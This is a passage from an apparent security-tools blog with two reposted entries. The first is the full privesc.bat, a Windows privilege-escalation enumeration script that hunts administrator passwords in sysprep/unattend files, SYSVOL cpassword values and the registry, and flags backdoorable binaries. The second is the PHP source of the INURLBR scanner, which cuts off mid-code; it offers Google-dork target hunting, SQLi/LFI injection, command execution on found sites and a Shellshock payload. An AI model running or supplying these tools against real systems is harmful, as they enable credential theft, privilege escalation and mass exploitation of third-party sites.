Privesc is a Windows batch script that finds misconfiguration issues which can lead to privilege escalation.

November 19, 2015, 8:07 am

≫ Next: SCANNER-INURLBR v2.1.0 codename Subversive released.

≪ Previous: Scanner Routerhunter 2.0 – Testing vulnerabilities in devices & routers connected to the Internet.

Privesc is a Windows batch script that finds misconfiguration issues which can lead to privilege escalation.
with Function:
+ Environment variables
+ Information about current user
+ Available drives
+ Network information
+ Running processes
+ Scheduled processes
+ Installed software
+ Startup programs
+ Startup services
+ Installed drivers
+ Applied hotfixes
+ Files that may contain Administrator password
+ Checking AlwaysInstallElevated
+ Checking permissions on services (changing BINARY_PATH_NAME – possible if SERVICE_CHANGE_CONFIG, WRITE_DAC, WRITE_OWNER, GENERIC_WRITE, GENERIC_ALL)
+ Checking BINARY_PATH_NAME for all services (if there is a space and path is not enclosed with quotes then it may be vulnerable – exploit/windows/local/trusted_service_path)
+ Checking file permissions of running processes (File backdooring – exploit/windows/local/service_permissions)
+ Checking directory permissions of running processes (DLL injection)
+ Checking system32 permissions misconfiguration (binaries that are good to backdoor – system32sethc.exe (Sticky Keys), system32utilman.exe)
+ Checking startup directory permissions for all users (executing binaries with permissions of logged user)
+ Checking all possibly exploitable services.

privesc.bat Script:

echo off
setlocal EnableDelayedExpansion

REM if checks that takes much more time should be executed
set long=no

echo This batch needs accesschk.exe for best results.
echo.
echo System Information (use windows-exploit-suggester.py to check for local exploits):
echo.
systeminfo 2>NUL
systeminfo > systeminfo_for_suggester.txt
echo.
echo ----------------------------------------------------------------------------
echo.
echo Environment variables:
echo.
set 2>NUL
echo.
echo ----------------------------------------------------------------------------
echo.
echo Information about current user:
echo.
net user %USERNAME% 2>NUL
net user %USERNAME% /domain 2>NUL
echo.
echo ----------------------------------------------------------------------------
echo.
echo Available drives:
echo.
wmic logicaldisk get deviceid,volumename,description | more
echo.
echo ----------------------------------------------------------------------------
echo.
echo Network information:
echo.
ipconfig /all 2>NUL
echo.
route print 2>NUL
echo.
arp -A 2>NUL
echo.
netstat -ano 2>NUL
echo.
echo ----------------------------------------------------------------------------
echo.
echo Running processes:
echo.
tasklist /V 2>NUL
wmic process list | more
echo.
echo ----------------------------------------------------------------------------
echo.
echo Scheduled processes:
echo.
schtasks /query /fo LIST /v 2>NUL
echo.
echo ----------------------------------------------------------------------------
echo.
echo Installed software:
echo.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall 2>NUL
dir "%PROGRAMFILES%" 2>NUL
dir "%ProgramFiles(x86)%" 2>NUL
echo.
echo ----------------------------------------------------------------------------
echo.
echo Startup programs:
echo.
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" 2>NUL
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>NUL
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>NUL
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>NUL
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>NUL
echo.
echo ----------------------------------------------------------------------------
echo.
echo Temp files:
echo.
dir "%TEMP%" 2>NUL
echo.
echo ----------------------------------------------------------------------------
echo.
echo Startup services:
echo.
net start 2>NUL
echo.
echo ----------------------------------------------------------------------------
echo.
echo Installed drivers:
echo.
driverquery 2>NUL
echo.
echo ----------------------------------------------------------------------------
echo.
echo Applied hotfixes:
echo.
wmic qfe get Caption,Description,HotFixID,InstalledOn |more
echo.
echo ----------------------------------------------------------------------------
echo.
echo Files that may contain Administrator password:
echo.
type C:\sysprep.inf 2>NUL
type C:\sysprep\sysprep.xml 2>NUL
type "%WINDIR%\Panther\Unattend\Unattended.xml" 2>NUL
type "%WINDIR%\Panther\Unattended.xml" 2>NUL
findstr /S cpassword \\127.0.0.1\sysvol\*.xml
echo.
echo ----------------------------------------------------------------------------
echo.
echo Checking AlwaysInstallElevated:
echo.
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated 2>NUL
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated 2>NUL
echo.
echo ----------------------------------------------------------------------------
echo.
echo Checking permissions on services (changing BINARY_PATH_NAME - possible if SERVICE_CHANGE_CONFIG, WRITE_DAC, WRITE_OWNER, GENERIC_WRITE, GENERIC_ALL):
echo It is also adviced to use Instrsrv.exe and Srvany.exe to try to create user defined service
echo.
for /f "tokens=2" %%x in ('sc query^|find /i "service_name"') do accesschk.exe -accepteula -ucqv %%x
echo.
echo ----------------------------------------------------------------------------
echo.
echo Checking BINARY_PATH_NAME for all services (if there is a space and path is not enclosed with quotes then it may be vulnerable - exploit/windows/local/trusted_service_path):
echo.
for /f "tokens=2" %%n in ('sc query ^| findstr SERVICE_NAME') do (
	for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME') do echo %%~s
)
echo.
echo ----------------------------------------------------------------------------
echo.
echo Checking file permissions of running processes (File backdooring - exploit/windows/local/service_permissions):
echo.
for /f "tokens=2 delims='='" %%x in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do (for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do cmd.exe /c icacls "%%z" ^| more)
echo.
echo ----------------------------------------------------------------------------
echo.
echo Checking directory permissions of running processes (DLL injection):
echo.
for /f "tokens=2 delims='='" %%x in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
	set tpath=%%~dpy
	cmd.exe /c icacls "!tpath:~,-1!" ^| more
)
echo.
echo ----------------------------------------------------------------------------
echo.
echo Checking system32 permissions misconfiguration (binaries that are good to backdoor - system32sethc.exe (Sticky Keys), system32utilman.exe):
echo.
cmd.exe /c icacls "C:\Windows\system32" ^| more
echo.
echo ----------------------------------------------------------------------------
echo.
echo Checking startup directory permissions for all users (executing binaries with permissions of logged user):
echo.
cmd.exe /c icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" ^| more
echo.
echo ----------------------------------------------------------------------------
echo.
echo Checking all possibly exploitable services:
echo.
accesschk.exe -accepteula -uwcqv Users *
accesschk.exe -accepteula -uwcqv "Authenticated Users" *
echo.

if "%long%" == "yes" (
	echo ----------------------------------------------------------------------------
	echo.
	echo Weak file/directory permissions on all drives:
	echo.
	for /f %%x in ('wmic logicaldisk get name^| more') do (
		set tdrive=%%x
		if "!tdrive:~1,2!" == ":" (
			accesschk.exe -accepteula -uwdqs Users %%x
			accesschk.exe -accepteula -uwdqs "Authenticated Users" %%x
			accesschk.exe -accepteula -uwqs Users %%x\*.*
			accesschk.exe -accepteula -uwqs "Authenticated Users" %%x\*.*
		)
	)
	echo.
	echo ----------------------------------------------------------------------------
	echo.
	echo Looking for sensitive registry keys:
	echo.
	reg query HKLM /f pass /t REG_SZ /s
	reg query HKCU /f pass /t REG_SZ /s
	reg query HKLM /f pwd /t REG_SZ /s
	reg query HKCU /f pwd /t REG_SZ /s
	echo.
	echo ----------------------------------------------------------------------------
	echo.
	echo Looking for sensitive files:
	echo.
	for /f %%x in ('wmic logicaldisk get name^| more') do (
		set tdrive=%%x
		if "!tdrive:~1,2!" == ":" (
			%%x
			findstr /si pass *.xml *.ini *.txt *.cfg *.config
			findstr /si pwd *.xml *.ini *.txt *.cfg *.config
		)
	)
	echo.
)

Source : https://github.com/enjoiz

↧

SCANNER-INURLBR v2.1.0 codename Subversive released.

November 19, 2015, 3:30 pm

≫ Next: Yosuo v-2.0 released : is A ruby script that scans for vulnerable & exploitable 3rd-party web applications on a network.

≪ Previous: Privesc is a Windows batch script that finds misconfiguration issues which can lead to privilege escalation.

The INURLBR tool was developed aiming to meet the need of Hacking community. Purpose: Make advanced searches to find potential vulnerabilities in web applications known as Google Hacking with various options and search filters, this tool has an absurd power of search engines available with (24) + 6 engines special(deep web).

SCANNER-INURLBR

Requirements:
+ LIBRARY php5-curl

Inurlbr.php Script:

#!/usr/bin/php -q
<?php
/*

  +-----------------------------------------------------------------------------+
  |  [!] Legal disclaimer: Usage of INURLBR for attacking targets without prior |
  |  mutual consent is illegal.                                                 |
  |  It is the end user's responsibility to obey all applicable local, state and|
  |  federal laws.                                                              |
  |  Developers assume no liability and are not responsible for any misuse or   |
  |  damage caused by this program                                              |
  +-----------------------------------------------------------------------------+


  [+] AUTOR:        googleINURL
  [+] Blog:         http://blog.inurl.com.br
  [+] Twitter:      https://twitter.com/googleinurl
  [+] Fanpage:      https://fb.com/InurlBrasil
  [+] Pastebin      http://pastebin.com/u/Googleinurl
  [+] GIT:          https://github.com/googleinurl
  [+] PSS:          http://packetstormsecurity.com/user/googleinurl
  [+] YOUTUBE:      http://youtube.com/c/INURLBrasil
  [+] PLUS:         http://google.com/+INURLBrasil

  [+] SCRIPT NAME: INURLBR 2.1
  INURLBR scanner was developed by Cleiton Pinheiro, owner and founder of INURL - BRASIL.
  Tool made in PHP that can run on different Linux distributions helps
  hackers / security professionals in their specific searches.
  With several options are automated methods of exploration, AND SCANNER is
  known for its ease of use and performasse.
  The inspiration to create the inurlbr scanner, was the XROOT Scan 5.2 application.

  [+]  Long desription
  The INURLBR tool was developed aiming to meet the need of Hacking community.
  Purpose: Make advanced searches to find potential vulnerabilities in web
  applications known as Google Hacking with various options and search filters,
  this tool has an absurd power of search engines available with
  (24) + 6 engines special(deep web)

  - Possibility generate IP ranges or random_ip and analyze their targets.
  - Customization of  HTTP-HEADER, USER-AGET, URL-REFERENCE.
  - Execution external to exploit certain targets.
  - Generator dorks random or set file dork.
  - Option to set proxy, file proxy list, http proxy, file http proxy.
  - Set time random proxy.
  - It is possible to use TOR ip Random.
  - Debug processes urls, http request, process irc.
  - Server communication irc sending vulns urls for chat room.
  - Possibility injection exploit GET / POST => SQLI, LFI, LFD.
  - Filter and validation based regular expression.
  - Extraction of email and url.
  - Validation using http-code.
  - Search pages based on strings file.
  - Exploits commands manager.
  - Paging limiter on search engines.
  - Beep sound when trigger vulnerability note.
  - Use text file as a data source for urls tests.
  - Find personalized strings in return values of the tests.
  - Validation vulnerability shellshock.
  - File validation values wordpress wp-config.php.
  - Execution sub validation processes.
  - Validation syntax errors database and programmin.
  - Data encryption as native parameter.
  - Random google host.
  - Scan port.
  - Error Checking & values:
  [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL,           [*]ZEND FRAMEWORK,
  [*]ERROR MARIADB,   [*]ERROR MYSQL,          [*]ERROR JBOSSWEB,        [*]ERROR MICROSOFT,
  [*]ERROR ODBC,      [*]ERROR POSTGRESQL,     [*]ERROR JAVA INFINITYDB, [*]ERROR PHP,
  [*]CMS WORDPRESS,   [*]SHELL WEB,            [*]ERROR JDBC,            [*]ERROR ASP,
  [*]ERROR ORACLE,    [*]ERROR DB2,            [*]JDBC CFM,              [*]ERROS LUA,
  [*]ERROR INDEFINITE

  [+] Dependencies - (PHP 5.4.*):
  sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl


  [+] Play LIST TUTORIAL:
  https://www.youtube.com/watch?v=jwjZUsgf9xM&list=PLV1376pVwcCmcoCmq_Z4O0ra4BqjmhIaR


  +--------------------------------------------------------------------------------------+
  |  |  |                            G R 3 3 T S                                   |  |  |
  +--------------------------------------------------------------------------------------+
 * r00t-3xp10t, Jh00n, chk_,  Unknownantisec,  sl4y3r 0wn3r, hc0d3r, arplhmd, 0x4h4x
 * Clandestine, KoubackTr, SnakeTomahawk, SkyRedFild, Lorenzo Faletra, Eclipse, shaxer   
 * dd3str0y3r, Johnny Deep, Lenon Leite, pSico_b0y, Bakunim_Malvadão, IceKiller, c00z  
 * Oystex, rH, Warflop, se4b3ar 

 */

error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '256M');
ini_set('display_errors', 0);
ini_set('max_execution_time', 0);
ini_set('allow_url_fopen', 1);
(!isset($_SESSION) ? session_start() : NULL);
__OS();


/*
  [+]Capturing TERMINAL VALUES.
  (PHP 4 >= 4.3.0, PHP 5)getopt - Gets options from the command line argument list
  http://php.net/manual/pt_BR/function.getopt.php */
$commandos_list = array(
    'dork:', 'dork-file:', 'exploit-cad:', 'range:', 'range-rand:', 'irc:',
    'exploit-all-id:', 'exploit-vul-id:', 'exploit-get:', 'exploit-post:',
    'regexp-filter:', 'exploit-command:', 'command-all:', 'command-vul:',
    'replace:', 'remove:', 'regexp:', 'sall:', 'sub-file:', 'sub-get::', 'sub-concat:',
    'user-agent:', 'url-reference:', 'delay:', 'sendmail:', 'time-out:',
    'http-header:', 'ifcode:', 'ifurl:', 'ifemail:', 'mp:', 'target:',
    'no-banner::', 'gc::', 'proxy:', 'proxy-file:', 'time-proxy:', 'pr::',
    'proxy-http-file:', 'update::', 'info::', 'help::', 'unique::', 'popup::',
    'ajuda::', 'install-dependence::', 'cms-check::', 'sub-post::', 'robots::',
    'alexa-rank::', 'beep::', 'exploit-list::', 'tor-random::', 'shellshock::',
    'dork-rand:', 'sub-cmd-all:', 'sub-cmd-vul:', 'port-cmd:', 'port-scan:',
    'port-write:', 'ifredirect:', 'persist:', 'file-cookie:', 'save-as:'
);

$opcoes = getopt('u::a:d:o:p:s:q:t:m::h::', $commandos_list);


/*
  [+]VERIFYING LIB php5-curl IS INSTALLED.
  (PHP 4, PHP 5) function_exists — Return TRUE if the given function has been
  defined.
  http://php.net/manual/en/function.function-exists.php

  [+]Verification - CURL_EXEC
  Execute the given cURL session.
  This function should be called after initializing a cURL session and all the
  options for the session are set.
  http://php.net/manual/en/function.curl-exec.php */
(!function_exists('curl_exec') ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]} INSTALLING THE LIBRARY php5-curl ex: php5-curl apt-get install{$_SESSION["c0"]}\n") : NULL );

/*
  [+]VERIFYING use Input PHP CLI.
  (PHP 4, PHP 5) defined — Checks whether a given named constant exists
  http://php.net/manual/pt_BR/function.defined.php */
(!defined('STDIN') ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]} Please run it through command-line!{$_SESSION["c0"]}\n") : NULL);


#[+]Resetting VALUES $ _SESSION ['config']
$_SESSION['config'] = array();
$_SESSION['config']['version_script'] = '2.1';
$_SESSION['config']['totas_urls'] = NULL;
$_SESSION['config']["contUrl"] = 0;
$_SESSION['config']['cont_email'] = 0;
$_SESSION['config']['cont_url'] = 0;
$_SESSION['config']['cont_valores'] = 0;

#[+] FILE MANAGEMENT EXPLOITS.
$_SESSION['config']['file_exploit_conf'] = 'exploits.conf';

#[+] FOLDER WHERE WILL BE SAVED PROCESSES.
$_SESSION['config']['out_put_paste'] = 'output/';

/*
  [+]USER-AGENT EXPLOIT SHELLSHOCK
  (CVE-2014-6271, CVE-2014-6277,
  CVE-2014-6278, CVE-2014-7169,
  CVE-2014-7186, CVE-2014-7187)
  is a vulnerability in GNU's bash shell that gives attackers access to run remote
  commands on a vulnerable system. */
$_SESSION['config']['user_agent_xpl'] = "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;\"";

#[+]BLACK LIST URL-STRINGS
$_SESSION['config']['blacklist'] = "//t.co,google.,youtube.,jsuol.com,.radio.uol.,b.uol.,barra.uol.,whowhere.,hotbot.,amesville.,lycos,lygo.,orkut.,schema.,blogger.,bing.,w3.,yahoo.,yimg.,creativecommons.org,ndj6p3asftxboa7j.,.torproject.org,.lygo.com,.apache.org,.hostname.,document.,";
$_SESSION['config']['blacklist'].= "live.,microsoft.,ask.,shifen.com,answers.,analytics.,googleadservices.,sapo.pt,favicon.,blogspot.,wordpress.,.css,scripts.js,jquery-1.,dmoz.,gigablast.,aol.,.macromedia.com,.sitepoint.,yandex.,www.tor2web.org,.securityfocus.com,.Bootstrap.,.metasploit.com,";
$_SESSION['config']['blacklist'].= "aolcdn.,altavista.,clusty.,teoma.,baiducontent.com,wisenut.,a9.,uolhost.,w3schools.,msn.,baidu.,hao123.,shifen.,procog.,facebook.,twitter.,flickr.,.adobe.com,oficinadanet.,elephantjmjqepsw.,.shodan.io,kbhpodhnfxl3clb4,.scanalert.com,.prototype.,feedback.core,";
$_SESSION['config']['blacklist'].= "4shared.,.KeyCodeTab,.style.,www/cache/i1,.className.,=n.,a.Ke=,Y.config,.goodsearch.com,style.top,n.Img,n.canvas.,t.search,Y.Search.,a.href,a.currentStyle,a.style,yastatic.,.oth.net,.hotbot.com,.zhongsou.com,ezilon.com,.example.com,location.href,.navigation.,";
$_SESSION['config']['blacklist'].= ".bingj.com,Y.Mobile.,srpcache?p,stackoverflow.,shifen.,baidu.,baiducontent.,gstatic.,php.net,wikipedia.,webcache.,inurl.,naver.,navercorp.,windows.,window.,.devmedia,imasters.,.inspcloud.com,.lycos.com,.scorecardresearch.com,.target.,JQuery.min,Element.location.,";
$_SESSION['config']['blacklist'].= "exploit-db,packetstormsecurity.,1337day,owasp,.sun.com,mobile10.dtd,onabort=function,inurl.com.br,purl.org,.dartsearch.net,r.cb,.classList.,.pt_BR.,github,microsofttranslator.com,.compete.com,.sogou.com,gmail.,blackle.com,boorow.com,gravatar.com,sourceforge.,.mozilla.org";

$_SESSION['config']['line'] = "\n{$_SESSION["c1"]} _[ - ]{$_SESSION["c7"]}::{$_SESSION["c1"]}--------------------------------------------------------------------------------------------------------------{$_SESSION["c0"]}";

#[+]PRINTING HELP / INFO
(isset($opcoes['h']) || isset($opcoes['help']) || isset($opcoes['ajuda']) ? __menu() : NULL);
(isset($opcoes['info']) ? __info() : NULL);

#[+]PRINTING EXPLOITS LIST.
(isset($opcoes['exploit-list']) ? print(__bannerLogo()) . __configExploitsList(1)  : NULL);

#[+]CREATING DEFAULT SETTINGS EXIT RESULTS.
(!is_dir($_SESSION['config']['out_put_paste']) ? mkdir($_SESSION['config']['out_put_paste'], 0777, TRUE) : NULL);

#[+]CREATING DEFAULT SETTINGS MANAGEMENT EXPLOITS.
(!file_exists($_SESSION['config']['file_exploit_conf']) ? touch($_SESSION['config']['file_exploit_conf']) : NULL);

#[+]Deletes FILE cookie STANDARD.
(file_exists('cookie.txt') ? unlink('cookie.txt') : NULL);

#[+]REGISTRATION NEW COMMAND EXPLOIT
(not_isnull_empty($opcoes['exploit-cad']) ? __configExploitsADD($opcoes['exploit-cad']) : NULL);

#[+]Dependencies installation
(isset($opcoes['install-dependence']) ? __installDepencia() : NULL);

#[+]UPDATE SCRIPT
(isset($opcoes['update']) ? __update() : NULL);

################################################################################
#CAPTURE OPTIONS################################################################
################################################################################
#[+]VALIDATION SEARCH METHODS / (DORK,RANGE-IP)
if (not_isnull_empty($opcoes['o'])) {

    $_SESSION['config']['abrir-arquivo'] = $opcoes['o'];
} else if (!not_isnull_empty($opcoes['o']) &&
        !not_isnull_empty($opcoes['range']) &&
        !not_isnull_empty($opcoes['range-rand']) &&
        !not_isnull_empty($opcoes['dork-rand'])) {

    $_SESSION['config']['dork'] = not_isnull_empty($opcoes['dork']) && is_null($_SESSION['config']['abrir-arquivo']) ? $opcoes['dork'] : NULL;
    $_SESSION['config']['dork-file'] = not_isnull_empty($opcoes['dork-file']) && is_null($_SESSION['config']['abrir-arquivo']) ? $opcoes['dork-file'] : NULL;
    (!not_isnull_empty($_SESSION['config']['dork']) && !not_isnull_empty($_SESSION['config']['dork-file']) ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}DEFINE DORK ex: --dork '.asp?CategoryID=' OR --dork-file 'dorks.txt'{$_SESSION["c0"]}\n") : NULL);
}

#[+]VALIDATION GENERATE DORKS RANDOM
$_SESSION['config']['dork-rand'] = not_isnull_empty($opcoes['dork-rand']) ? $opcoes['dork-rand'] : NULL;

#[+]VALIDATION TARGET FIND PAGE
$_SESSION['config']['target'] = not_isnull_empty($opcoes['target']) && !isset($_SESSION['config']['dork']) ? $opcoes['target'] : NULL;

#[+]VALIDATION URL EXTRACTION
$_SESSION['config']['extrai-url'] = isset($opcoes['u']) ? TRUE : NULL;

#[+]VALIDATION EMAIL EXTRACTION
$_SESSION['config']['extrai-email'] = isset($opcoes['m']) ? TRUE : NULL;

#[+]VALIDATION ID SEARCH ENGINE
$_SESSION['config']['motor'] = not_isnull_empty($opcoes['q']) &&
        __validateOptions('1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,e1,e2,e3,e4,e5,e6,all', $opcoes['q']) ? $opcoes['q'] : 1;

#[+]VALIDATION SAVE FILE VULNERABLE
!not_isnull_empty($opcoes['s']) && !not_isnull_empty($opcoes['save-as']) && empty($opcoes['sall']) ?
                __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}DEFINE FILE SAVE OUTPUT ex: -s , --save-as , --sall filevull.txt{$_SESSION["c0"]}\n") : NULL;

$_SESSION['config']['s'] = not_isnull_empty($opcoes['s']) ? $opcoes['s'] : null;

$_SESSION['config']['save-as'] = not_isnull_empty($opcoes['save-as']) ? $opcoes['save-as'] : null;

$_SESSION['config']['arquivo_output'] = not_isnull_empty($_SESSION['config']['s']) ? $_SESSION['config']['s'] : $opcoes['save-as'];

#[+]VALIDATION SAVE FILE ALL VALORES
$_SESSION['config']['arquivo_output_all'] = not_isnull_empty($opcoes['sall']) ? $opcoes['sall'] : NULL;

#[+]VALIDATION TYPE ERROR
$_SESSION['config']['tipoerro'] = not_isnull_empty($opcoes['t']) && __validateOptions('1,2,3,4,5', $opcoes['t']) ? $opcoes['t'] : 1;

#[+]VALIDATION REPLACEMENT VALUES
$_SESSION['config']['replace'] = not_isnull_empty($opcoes['replace']) ? $opcoes['replace'] : NULL;

#[+]VALIDATION SET PROXY
$_SESSION['config']['proxy'] = not_isnull_empty($opcoes['proxy']) ? $opcoes['proxy'] : NULL;

#[+]VALIDATION SET FILE WITH LIST OF PROXY
$_SESSION['config']['proxy-file'] = not_isnull_empty($opcoes['proxy-file']) ? $opcoes['proxy-file'] : NULL;

#[+]VALIDATION SET HTTP->PROXY
$_SESSION['config']['proxy-http'] = not_isnull_empty($opcoes['proxy-http']) ? $opcoes['proxy-http'] : NULL;

#[+]VALIDATION SET FILE WITH LIST OF HTTP->PROXY
$_SESSION['config']['proxy-http-file'] = not_isnull_empty($opcoes['proxy-http-file']) ? $opcoes['proxy-http-file'] : NULL;

#[+]VALIDATION SET EXPLOIT VIA REQUEST GET
$_SESSION['config']['exploit-get'] = not_isnull_empty($opcoes['exploit-get']) ? str_replace(' ', '%20', $opcoes['exploit-get']) : NULL;

#[+]VALIDATION SET EXPLOIT VIA REQUEST POST
$_SESSION['config']['exploit-post'] = not_isnull_empty($opcoes['exploit-post']) ? __convertUrlQuery($opcoes['exploit-post']) : NULL;
$_SESSION['config']['exploit-post_str'] = not_isnull_empty($opcoes['exploit-post']) ? $opcoes['exploit-post'] : NULL;

#[+]VALIDATION COMMAND SHELL STRING COMPLEMENTARY
$_SESSION['config']['exploit-command'] = not_isnull_empty($opcoes['exploit-command']) ? $opcoes['exploit-command'] : NULL;

#[+]VALIDATION MANAGEMENT COMMANDS SHELL TARGET VULN ID
$_SESSION['config']['exploit-vul-id'] = not_isnull_empty($opcoes['exploit-vul-id']) ? $opcoes['exploit-vul-id'] : NULL;

#[+]VALIDATION MANAGEMENT COMMANDS SHELL ALL TARGET ID
$_SESSION['config']['exploit-all-id'] = not_isnull_empty($opcoes['exploit-all-id']) ? $opcoes['exploit-all-id'] : NULL;

#[+]VALIDATION SET COMMANDS SHELL EXECUTE TARGET VULN
$_SESSION['config']['command-vul'] = not_isnull_empty($opcoes['command-vul']) ? $opcoes['command-vul'] : NULL;

#[+]VALIDATION SET COMMANDS SHELL EXECUTE ALL TARGET
$_SESSION['config']['command-all'] = not_isnull_empty($opcoes['command-all']) ? $opcoes['command-all'] : NULL;

#[+]VALIDATION ADDITIONAL TYPE OF PARAMETER ERROR
$_SESSION['config']['achar'] = not_isnull_empty($opcoes['a']) ? $opcoes['a'] : NULL;

#[+]VALIDATION DEBUG NIVEL
$_SESSION['config']['debug'] = not_isnull_empty($opcoes['d']) && __validateOptions('1,2,3,4,5,6', $opcoes['d']) ? $opcoes['d'] : NULL;

#[+]VALIDATION INTERNAL
$_SESSION['config']['verifica_info'] = (__validateOptions($opcoes['d'], 6)) ? 1 : NULL;

#[+]VALIDATION ADDITIONAL PARAMETER PROXY
$_SESSION['config']['tor-random'] = isset($opcoes['tor-random']) && !is_null($_SESSION["config"]["proxy"]) ? TRUE : NULL;

#[+]VALIDATION CHECK VALUES CMS
$_SESSION['config']['cms-check'] = isset($opcoes['cms-check']) ? TRUE : NULL;

#[+]VALIDATION CHECK LINKS WEBCACHE GOOGLE
$_SESSION['config']['webcache'] = isset($opcoes['gc']) ? TRUE : NULL;

#[+]VALIDATION REGULAR EXPRESSION
$_SESSION['config']['regexp'] = not_isnull_empty($opcoes['regexp']) ? $opcoes['regexp'] : NULL;

#[+]VALIDATION FILTER BY REGULAR EXPRESSION
$_SESSION['config']['regexp-filter'] = not_isnull_empty($opcoes['regexp-filter']) ? $opcoes['regexp-filter'] : NULL;

#[+]VALIDATION NO BANNER SCRIPT
$_SESSION['config']['no-banner'] = isset($opcoes['no-banner']) ? TRUE : NULL;

#[+]VALIDATION SET USER-AGENT REQUEST
$_SESSION['config']['user-agent'] = not_isnull_empty($opcoes['user-agent']) ? $opcoes['user-agent'] : NULL;

#[+]VALIDATION SET URL-REFERENCE REQUEST
$_SESSION['config']['url-reference'] = not_isnull_empty($opcoes['url-reference']) ? $opcoes['url-reference'] : NULL;

#[+]VALIDATION PAGING THE MAXIMUM SEARCH ENGINE
$_SESSION['config']['max_pag'] = not_isnull_empty($opcoes['mp']) ? $opcoes['mp'] : NULL;

#[+]VALIDATION DELAY SET PAGING AND PROCESSES
$_SESSION['config']['delay'] = not_isnull_empty($opcoes['delay']) ? $opcoes['delay'] : NULL;

#[+]VALIDATION SET TIME OUT REQUEST
$_SESSION['config']['time-out'] = not_isnull_empty($opcoes['time-out']) ? $opcoes['time-out'] : NULL;

#[+]VALIDATION CODE HTTP
$_SESSION['config']['ifcode'] = not_isnull_empty($opcoes['ifcode']) ? $opcoes['ifcode'] : NULL;

#[+]VALIDATION STRING URL
$_SESSION['config']['ifurl'] = not_isnull_empty($opcoes['ifurl']) ? $opcoes['ifurl'] : NULL;

#[+]VALIDATION SET HTTP HEADER
$_SESSION['config']['http-header'] = not_isnull_empty($opcoes['http-header']) ? $opcoes['http-header'] : NULL;

#[+]VALIDATION SET FILE SUB_PROCESS
$_SESSION['config']['sub-file'] = not_isnull_empty($opcoes['sub-file']) ? __openFile($opcoes['sub-file'], 1) : NULL;

#[+]VALIDATION SUB_PROCESS TYPE REQUEST POST
$_SESSION['config']['sub-post'] = isset($opcoes['sub-post']) ? TRUE : NULL;

#[+]VALIDATION SUB_PROCESS TYPE REQUEST GET
$_SESSION['config']['sub-get'] = isset($opcoes['sub-get']) ? TRUE : NULL;

#[+]VALIDATION SEND VULN EMAIL
$_SESSION['config']['sendmail'] = not_isnull_empty($opcoes['sendmail']) ? $opcoes['sendmail'] : NULL;

#[+]VALIDATION SHOW RANK ALEXA
$_SESSION['config']['alexa-rank'] = isset($opcoes['alexa-rank']) ? TRUE : NULL;

#[+]VALIDATION ACTIVATE BEEP WHEN APPEAR VULNERABLE
$_SESSION['config']['beep'] = isset($opcoes['beep']) ? TRUE : NULL;

#[+]VALIDATION OF SINGLE DOMAIN FILTER 
$_SESSION['config']['unique'] = isset($opcoes['unique']) ? TRUE : NULL;

#[+]VALIDATION IRC SERVER/CHANNEL SEND VULN
$_SESSION['config']['irc']['conf'] = not_isnull_empty($opcoes['irc']) && strstr($opcoes['irc'], '#') ? explode("#", $opcoes['irc']) : NULL;

#[+]VALIDATION RANGE IP
$_SESSION['config']['range'] = not_isnull_empty($opcoes['range']) && strstr($opcoes['range'], ',') ? $opcoes['range'] : NULL;

#[+]VALIDATION QUANTITY RANGE IP RANDOM
$_SESSION['config']['range-rand'] = not_isnull_empty($opcoes['range-rand']) ? $opcoes['range-rand'] : NULL;

#[+]VALIDATION REMOVE STRING URL
$_SESSION['config']['remove'] = not_isnull_empty($opcoes['remove']) ? $opcoes['remove'] : NULL;

#[+]VALIDATION ACCESS FILE ROBOTS
$_SESSION['config']['robots'] = isset($opcoes['robots']) ? TRUE : NULL;

#[+]VALIDATION FILTER EMAIL STRING
$_SESSION['config']['ifemail'] = not_isnull_empty($opcoes['ifemail']) ? $opcoes['ifemail'] : NULL;

#[+]VALIDATION OPEN WINDOW CONSOLE PROCESS
$_SESSION['config']['popup'] = isset($opcoes['popup']) ? TRUE : NULL;

#[+]VALIDATION ACTIVATE SHELLSHOCK
$_SESSION['config']['shellshock'] = isset($opcoes['shellshock']) ? TRUE : NULL;

#[+]VALIDATION METHOD OF BUSTA PROGRESSIVE
$_SESSION['config']['pr'] = isset($opcoes['pr']) ? TRUE : NULL;

#[+]VALIDATION SET SUB-COMMANDS SHELL EXECUTE ALL TARGET
$_SESSION['config']['sub-cmd-all'] = isset($opcoes['sub-cmd-all']) ? TRUE : NULL;

#[+]VALIDATION SET SUB-COMMANDS SHELL EXECUTE TARGET VULN
$_SESSION['config']['sub-cmd-vul'] = isset($opcoes['sub-cmd-vul']) ? TRUE : NULL;

#[+]VALIDATION SET POR VALIDATION
$_SESSION['config']['port-cmd'] = not_isnull_empty($opcoes['port-cmd']) ? $opcoes['port-cmd'] : NULL;

#[+]VALIDATION SET SCAN PORT
$_SESSION['config']['port-scan'] = not_isnull_empty($opcoes['port-scan']) ? $opcoes['port-scan'] : NULL;

#[+]VALIDATION SET PAYLOAD XPL PORT
